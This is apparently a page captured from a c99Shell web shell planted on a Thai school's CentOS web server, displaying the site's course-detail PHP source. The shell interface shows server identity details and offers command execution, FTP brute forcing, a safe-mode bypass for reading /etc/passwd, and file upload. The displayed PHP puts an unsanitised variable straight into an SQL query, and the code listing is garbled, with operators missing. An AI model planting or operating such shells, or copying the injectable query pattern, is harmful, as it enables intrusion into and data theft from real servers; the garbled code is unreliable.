!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showCourseDetail.php (25.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("./include/FunctionDB.php");
include(
"admin_menu.php");
include(
"./include/Function.php");
ConnectDB();
$sql "Select * From course_tb Where Course_code='$Course_code'";
$result mysql_query($sql) or die("Error".mysql_error());
$row mysql_fetch_array($result);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<style type="text/css">
<!--
.sidenav {    border-right-width: 1px;
    border-right-color: #EEEEEE;
    border-right-style: solid;
}
-->
</style>
<table width="840" border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td width="840" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a> <img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="menuEdu.php">ข้อมูลฝ่ายวิชาการ</a> <img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> หลักสูตรที่เปิดสอน</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="">
    <table width="99%" border="0" align="center" cellpadding="1" cellspacing="0" bgcolor="#EEEEEE" style="border:0px solid gray">
      <tr bgcolor="#F8F8F8">
        <td colspan="2" align="center" bgcolor="#F8F8F8"><font color="#003399" size="4" face="Tahoma"><strong>หลักสูตรที่เปิดสอนที่เปิดสอน</strong></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td width="198" align="center" bgcolor="#F8F8F8"><strong><font color="#000000" size="2" face="Tahoma"> ชื่อหลักสูตร </font></strong></td>
        <td width="534"><div align="left"><font color="#006699" size="2" face="Tahoma"><? echo $row[Course_name]?> <? echo $row[Course_nameE]?> </font></div></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="center" bgcolor="#F8F8F8"><strong><font color="#000000" size="2" face="Tahoma">ชื่อปริญญา </font></strong></td>
        <td bgcolor="#F8F8F8"><div align="left"><font color="#006699" size="2" face="Tahoma"><? echo $row[Degree_Thai]?> &nbsp;<? echo $row[Short_Thai]?> <? echo $row[Degree_Eng]?>&nbsp;&nbsp;<? echo $row[Short_Eng]?></font></div></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td height="276" colspan="2" align="center"><table width="99%" border="0" cellspacing="0" cellpadding="0" >
            <tr>
              <td width="49%"><table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" >
                  <tr bordercolor="#003366" bgcolor="#E4EEFA">
                    <td height="16" colspan="3" align="center"><div align="left"><font color="#003366" size="2" face="Tahoma"><strong>&nbsp;&nbsp;ภาคการศึกษาที่ 
                      1 ชั้นปีที่ 1</strong></font></div></td>
                  </tr>
                  <tr bordercolor="#003366">
                    <td width="69" align="center" bgcolor="#D8D8D8"><font color="#000000" size="2" face="Tahoma">รหัสวิชา</font></td>
                    <td width="436" align="center" bgcolor="#D8D8D8"><font color="#000000" size="2" face="Tahoma">ชื่อวิชา</font></td>
                    <td width="95" bgcolor="#D8D8D8"><div align="center"><font color="#000000" size="2" face="Tahoma">หน่วยกิต&nbsp;</font></div></td>
                  </tr>
                  <?
$i 
1;
$sql2 "Select * From subject_tb Where Class_level='1' AND Term='1'";
$result2 mysql_query($sql2);
 while(
$rs mysql_fetch_array($result2))
 {

     if(
$count==0)
     {
?>
                  <tr bordercolor="#CCCCCC" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'">
                    <td align="center" bgcolor="#EEEEEE"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                    <td bgcolor="#EEEEEE"><font size="2" face="Tahoma"><a href="Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>" class="d"> <? echo $rs[Subject_name]?></a></font></td>
                    <td bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit?></font></div></td>
                  </tr>
                  <?
    $count
=1;
     }
else
{
?>
                  <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                    <td align="center" bgcolor="#F9F9F9"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                    <td bgcolor="#F9F9F9"><font size="2" face="Tahoma"><a href="Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>" class="d"><? echo $rs[Subject_name]?></a></font></td>
                    <td bgcolor="#F9F9F9"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit]?></font></div>
                        <div align="center"> </div></td>
                  </tr>
                  <?
$count
=0;
}
$i++;
 }    
?>
                  <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                    <td align="center" bgcolor="#F9F9F9">&nbsp;</td>
                    <td bgcolor="#F9F9F9"><div align="center"><font size="2" face="Tahoma">&nbsp;</font><font color="#003333"><font color="#003366" size="2" face="Tahoma">รวมหน่วยกิต</font></font></div></td>
                    <td bgcolor="#F9F9F9"><div align="left"><font color="#003333" size="2" face="Tahoma"><strong>
                        <?php
                      
//$Course_code = $rs[Course_code];
                       
$Strsql1 "SELECT Sum(Unit) AS SumUnit FROM subject_tb WHERE Class_level = '1' AND Term='1' ";
                       
$resultS1mysql_query($Strsql1) or die("Error $result1".mysql_error());
                       
$res11 mysql_fetch_array($resultS1);
                       echo
"$res11[SumUnit]";
                       
?>
                      </strong></font></div>
                        <div align="center"> </div></td>
                  </tr>
                  <tr bordercolor="#003366">
                    <td height="18" colspan="3" align="center"><table width="101%" border="0" align="center" cellpadding="0" cellspacing="1">
                        <tr bordercolor="#003366" bgcolor="#E4EEFA">
                          <td height="16" colspan="3" align="center"><div align="left"><font color="#003366" size="2" face="Tahoma"><strong>&nbsp;&nbsp;ภาคการศึกษาที่ 
                            2 </strong></font></div></td>
                        </tr>
                        <?
$i 
1;
$sql2 "Select * From subject_tb Where Class_level='1' AND Term='2'";
$result2 mysql_query($sql2);
 while(
$rs mysql_fetch_array($result2))
 {

     if(
$count==0)
     {
?>
                        <tr bordercolor="#CCCCCC" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'">
                          <td width="68" align="center" bgcolor="#EEEEEE"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                          <td width="438" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> <a href="Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>" class="d"><? echo $rs[Subject_name]?></a></font></td>
                          <td width="92" bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit?></font></div></td>
                        </tr>
                        <?
    $count
=1;
     }
else
{
?>
                        <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                          <td align="center" bgcolor="#F9F9F9"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                          <td bgcolor="#F9F9F9"><font size="2" face="Tahoma"><a href="Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>" class="d"><? echo $rs[Subject_name]?></a></font></td>
                          <td bgcolor="#F9F9F9"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit]?></font></div>
                              <div align="center"> </div></td>
                        </tr>
                        <?
$count
=0;
}
$i++;
 }    
?>
                        <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                          <td align="center" bgcolor="#F9F9F9">&nbsp;</td>
                          <td bgcolor="#F9F9F9"><div align="center"><font color="#003366" size="2" face="Tahoma">รวมหน่วยกิต</font></div></td>
                          <td bgcolor="#F9F9F9"><div align="center"> </div>
                              <div align="left"><font color="#003333" size="2" face="Tahoma"><strong>
                                <?php
                      
//$Course_code = $rs[Course_code];
                       
$Strsql1 "SELECT Sum(Unit) AS SumUnit FROM subject_tb WHERE Class_level = '1' AND Term='2' ";
                       
$resultS1mysql_query($Strsql1) or die("Error $result1".mysql_error());
                       
$res11 mysql_fetch_array($resultS1);
                       echo
"$res11[SumUnit]";
                       
?>
                            </strong> </font></div></td>
                        </tr>
                    </table></td>
                  </tr>
                <tr bordercolor="#003366">
                    <td colspan="3" align="center"><div align="right">
                        <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                          <tr bordercolor="#003366" bgcolor="#E4EEFA">
                            <td height="16" colspan="3" align="center"><div align="left"><font color="#003366" size="2" face="Tahoma"><strong>&nbsp; ภาคฤดูร้อน </strong></font></div></td>
                          </tr>
                          <?
$i 
1;
$sql2 "Select * From subject_tb Where Class_level='1' AND Term='3'";
$result2 mysql_query($sql2);
 while(
$rs mysql_fetch_array($result2))
 {

     if(
$count==0)
     {
?>
                          <tr bordercolor="#CCCCCC" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'">
                            <td width="66" align="center" bgcolor="#EEEEEE"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                            <td width="443" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> <a href="Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>" class="d"><? echo $rs[Subject_name]?></a></font></td>
                            <td width="89" bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit?></font></div></td>
                          </tr>
                          <?
    $count
=1;
     }
else
{
?>
                          <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                            <td align="center" bgcolor="#F9F9F9"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                            <td bgcolor="#F9F9F9"><font size="2" face="Tahoma"><a href="Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>" class="d"><? echo $rs[Subject_name]?></a></font></td>
                            <td bgcolor="#F9F9F9"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit]?></font></div>
                                <div align="center"> </div></td>
                          </tr>
                          <?
$count
=0;
}
$i++;
 }    
?>
                          <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                            <td align="center" bgcolor="#F9F9F9">&nbsp;</td>
                            <td bgcolor="#F9F9F9"><div align="center" class="red"><font color="#003366" size="2" face="Tahoma">รวมหน่วยกิต</font></div></td>
                            <td bgcolor="#F9F9F9"><div align="center"> </div>
                                <div align="left"><font color="#003333" size="2" face="Tahoma"><strong>
                                  <?php
                      
//$Course_code = $rs[Course_code];
                       
$Strsql1 "SELECT Sum(Unit) AS SumUnit FROM subject_tb WHERE Class_level = '1' AND Term='3' ";
                       
$resultS1mysql_query($Strsql1) or die("Error $result1".mysql_error());
                       
$res11 mysql_fetch_array($resultS1);
                       echo
"$res11[SumUnit]";
                       
?>
                              </strong> </font></div></td>
                          </tr>
                        </table>
                      <strong><font color="#003366" size="2" face="Tahoma">รวมหน่วยกิตทั้งหมด</font> <font color="#003333" size="2" face="Tahoma">
                        <?php
                      
//$Course_code = $rs[Course_code];
                       
$Strsql1 "SELECT Sum(Unit) AS SumUnit FROM subject_tb WHERE Class_level = '1' ";
                       
$resultS1mysql_query($Strsql1) or die("Error $result1".mysql_error());
                       
$res11 mysql_fetch_array($resultS1);
                       
$Tot1 $res11[SumUnit];
                       echo
"$res11[SumUnit]";
                       
?>
                        &nbsp;&nbsp;&nbsp; </font></strong></div></td>
                </tr>
              </table></td>
              <td width="51%" valign="top"><table width="98%" border="0" align="center" cellpadding="0" cellspacing="1">
                  <tr bordercolor="#003366" bgcolor="#FFFFCC">
                    <td colspan="3" align="center"><div align="left"><font color="#003366" size="2" face="Tahoma"><strong>&nbsp;&nbsp;ภาคการศึกษาที่ 1 ชั้นปีที่ 2</strong></font></div></td>
                  </tr>
                  <tr bordercolor="#003366">
                    <td width="71" align="center" bgcolor="#D8D8D8"><font color="#000000" size="2" face="Tahoma">รหัสวิชา</font></td>
                    <td width="443" align="center" bgcolor="#D8D8D8"><font color="#000000" size="2" face="Tahoma">ชื่อวิชา</font></td>
                    <td width="80" align="center" bgcolor="#D8D8D8"><font color="#000000" size="2" face="Tahoma">หน่วยกิต</font></td>
                  </tr>
                  <?
$i 
1;
$sql2 "Select * From subject_tb Where Class_level='2' AND Term='1'";
$result2 mysql_query($sql2);
 while(
$rs mysql_fetch_array($result2))
 {

     if(
$count==0)
     {
?>
                  <tr bordercolor="#CCCCCC" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'">
                    <td align="center" bgcolor="#EEEEEE"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                    <td bgcolor="#EEEEEE"><font size="2" face="Tahoma"><a href="Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>" class="d"> <? echo $rs[Subject_name]?></a></font></td>
                    <td bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit?></font></div></td>
                  </tr>
                  <?
    $count
=1;
     }
else
{
?>
                  <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                    <td align="center" bgcolor="#F9F9F9"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                    <td bgcolor="#F9F9F9"><font size="2" face="Tahoma"><a href="Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>"  class="d"><? echo $rs[Subject_name]?></a></font></td>
                    <td bgcolor="#F9F9F9"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit]?></font></div>
                        <div align="center"> </div></td>
                  </tr>
                  <?
$count
=0;
}
$i++;
 }    
?>
                  <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                    <td align="center" bgcolor="#F9F9F9">&nbsp;</td>
                    <td bgcolor="#F9F9F9"><div align="center"><font size="2" face="Tahoma">&nbsp;</font><font color="#003366" size="2" face="Tahoma">รวมหน่วยกิต</font></div></td>
                    <td bgcolor="#F9F9F9"><div align="left"><font color="#003333" size="2" face="Tahoma"><strong>
                        <?php
                      
//$Course_code = $rs[Course_code];
                       
$Strsql1 "SELECT Sum(Unit) AS SumUnit FROM subject_tb WHERE Class_level = '2' AND Term='1' ";
                       
$resultS1mysql_query($Strsql1) or die("Error $result1".mysql_error());
                       
$res11 mysql_fetch_array($resultS1);
                       echo
"$res11[SumUnit]";
                       
?>
                      </strong></font></div>
                        <div align="center"> </div></td>
                  </tr>
                  <tr bordercolor="#003366">
                    <td height="18" colspan="3" align="center"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                        <tr bordercolor="#003366" bgcolor="#FFFFCC">
                          <td colspan="3" align="center"><div align="left"><font color="#003366" size="2" face="Tahoma"><strong>&nbsp;&nbsp;ภาคการศึกษาที่ 2 </strong></font></div></td>
                        </tr>
                        <?
$i 
1;
$sql2 "Select * From subject_tb Where Class_level='2' AND Term='2'";
$result2 mysql_query($sql2);
 while(
$rs mysql_fetch_array($result2))
 {

     if(
$count==0)
     {
?>
                        <tr bordercolor="#CCCCCC" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'">
                          <td width="69" align="center" bgcolor="#EEEEEE"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                          <td width="427" bgcolor="#EEEEEE"><font size="2" face="Tahoma"><a href="Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>" class="d"> <? echo $rs[Subject_name]?></a></font></td>
                          <td width="90" bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit?></font></div></td>
                        </tr>
                        <?
    $count
=1;
     }
else
{
?>
                        <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                          <td align="center" bgcolor="#F9F9F9"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                          <td bgcolor="#F9F9F9"><font size="2" face="Tahoma"><a href="Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>"  class="d"><? echo $rs[Subject_name]?></a></font></td>
                          <td bgcolor="#F9F9F9"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit]?></font></div>
                              <div align="center"> </div></td>
                        </tr>
                        <?
$count
=0;
}
$i++;
 }    
?>
                        <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                          <td align="center" bgcolor="#F9F9F9">&nbsp;</td>
                          <td bgcolor="#F9F9F9"><div align="center"><font size="2" face="Tahoma">&nbsp;</font><font color="#003366" size="2" face="Tahoma">รวมหน่วยกิต</font></div></td>
                          <td bgcolor="#F9F9F9"><div align="center"> </div>
                              <div align="left"><font color="#003333" size="2" face="Tahoma"><strong>
                                <?php
                      
//$Course_code = $rs[Course_code];
                       
$Strsql2 "SELECT Sum(Unit) AS SumUnit2 FROM subject_tb WHERE Class_level = '2' AND Term='2'";
                       
$resultS2mysql_query($Strsql2) or die("Error $result1".mysql_error());
                       
$res22mysql_fetch_array($resultS2);
                       echo
"$res22[SumUnit2]";
                       
?>
                            </strong> </font></div></td>
                        </tr>
                    </table></td>
                  </tr>
                <tr bordercolor="#003366">
                    <td colspan="3" align="center"><div align="right">
                        <table width="99%" border="0" align="center" cellpadding="0" cellspacing="1">
                          <tr bordercolor="#003366" bgcolor="#FFFFCC">
                            <td colspan="3" align="center"><div align="left"><font color="#003366" size="2" face="Tahoma"><strong>&nbsp; ภาคฤดูร้อน </strong></font></div></td>
                          </tr>
                          <?
$i 
1;
$sql2 "Select * From subject_tb Where Class_level='2' AND Term='3'";
$result2 mysql_query($sql2);
 while(
$rs mysql_fetch_array($result2))
 {

     if(
$count==0)
     {
?>
                          <tr bordercolor="#CCCCCC" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'">
                            <td width="66" align="center" bgcolor="#EEEEEE"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                            <td width="431" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> <a href=".Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>" class="d"><? echo $rs[Subject_name]?></a></font></td>
                            <td width="89" bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit?></font></div></td>
                          </tr>
                          <?
    $count
=1;
     }
else
{
?>
                          <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                            <td align="center" bgcolor="#F9F9F9"><div align="left"> <font size="2" face="Tahoma"><?echo $rs[Subject_code]?></font></div></td>
                            <td bgcolor="#F9F9F9"><font size="2" face="Tahoma"><a href="Subject&Detail.php?Subject_no=<? echo $rs[Subject_no]?>" class="d"><? echo $rs[Subject_name]?></a></font></td>
                            <td bgcolor="#F9F9F9"><div align="left"><font size="2" face="Tahoma"><? echo $rs[Unit]?></font></div>
                                <div align="center"> </div></td>
                          </tr>
                          <?
$count
=0;
}
$i++;
 }    
?>
                          <tr bordercolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
                            <td align="center" bgcolor="#F9F9F9">&nbsp;</td>
                            <td bgcolor="#F9F9F9"><div align="center"><font size="2" face="Tahoma">&nbsp;&nbsp;</font><font color="#003366" size="2" face="Tahoma">รวมหน่วยกิต</font></div></td>
                            <td bgcolor="#F9F9F9"><div align="center"> </div>
                                <div align="left"><font color="#003333" size="2" face="Tahoma"><strong>
                                  <?php
                      
//$Course_code = $rs[Course_code];
                       
$Strsql2 "SELECT Sum(Unit) AS SumUnit FROM subject_tb WHERE Class_level = '2' AND Term='3' ";
                       
$resultS2mysql_query($Strsql2) or die("Error $result1".mysql_error());
                       
$res22 mysql_fetch_array($resultS2);
                       echo
"$res22[SumUnit]";
                       
?>
                              </strong> </font></div></td>
                          </tr>
                        </table>
                      <strong><font color="#003366" size="2" face="Tahoma">รวมหน่วยกิตทั้งหมด</font> <font color="#003333" size="2" face="Tahoma">
                        <?php
                      
//$Course_code = $rs[Course_code];
                       
$Strsql2 "SELECT Sum(Unit) AS SumUnit2 FROM subject_tb WHERE Class_level = '2' ";
                       
$resultS2mysql_query($Strsql2) or die("Error $result1".mysql_error());
                       
$res22mysql_fetch_array($resultS2);
                       
$Tot2 $res22[SumUnit2];
                       echo
"$res22[SumUnit2]";
                       
?>
                    </font><font color="#FFFFFF" size="2" face="Tahoma">&nbsp;&nbsp;&nbsp;&nbsp; </font></strong></div></td>
                </tr>
              </table></td>
            </tr>
        </table></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td colspan="2" align="center"><table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="49%" class="sidenav">&nbsp;</td>
              <td width="51%">&nbsp;</td>
            </tr>
        </table></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td colspan="2" align="center">&nbsp;</td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="center" bgcolor="#F8F8F8"><div align="center"><strong><font color="#000000" size="2" face="Tahoma">หน่วยกิจตลอดหลักสูตร </font></strong></div></td>
        <td><div align="left"><font color="#006699" size="2" face="Tahoma">
            <? 
    $TotAll 
$Tot1 $Tot2 $Tot3 $Tot4;
    echo 
$TotAll ;
    
?>
            <font color="#000000" size="2">หน่วย</font> </font></div></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="center" bgcolor="#F8F8F8"><div align="center"><strong><font size="2" face="Tahoma">คุณสมบัติผู้เข้ารับการศึกษา</font></strong></div></td>
        <td><font color="#006699" size="2" face="Tahoma"><? echo nl2br($row[Spec])?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="center" bgcolor="#F8F8F8"><div align="center"><strong><font color="#000000" size="2" face="Tahoma"> รายละเอียด/โครงสร้าง/ปรัชญา/ วัตถุประสงค์ </font></strong></div></td>
        <td><div align="left"><font color="#006699" size="2" face="Tahoma"><? echo nl2br($row[Course_desc])?></font></div></td>
      </tr>
    </table>
    </form>
          </fieldset>
        <br>
      <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ</font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0183 ]--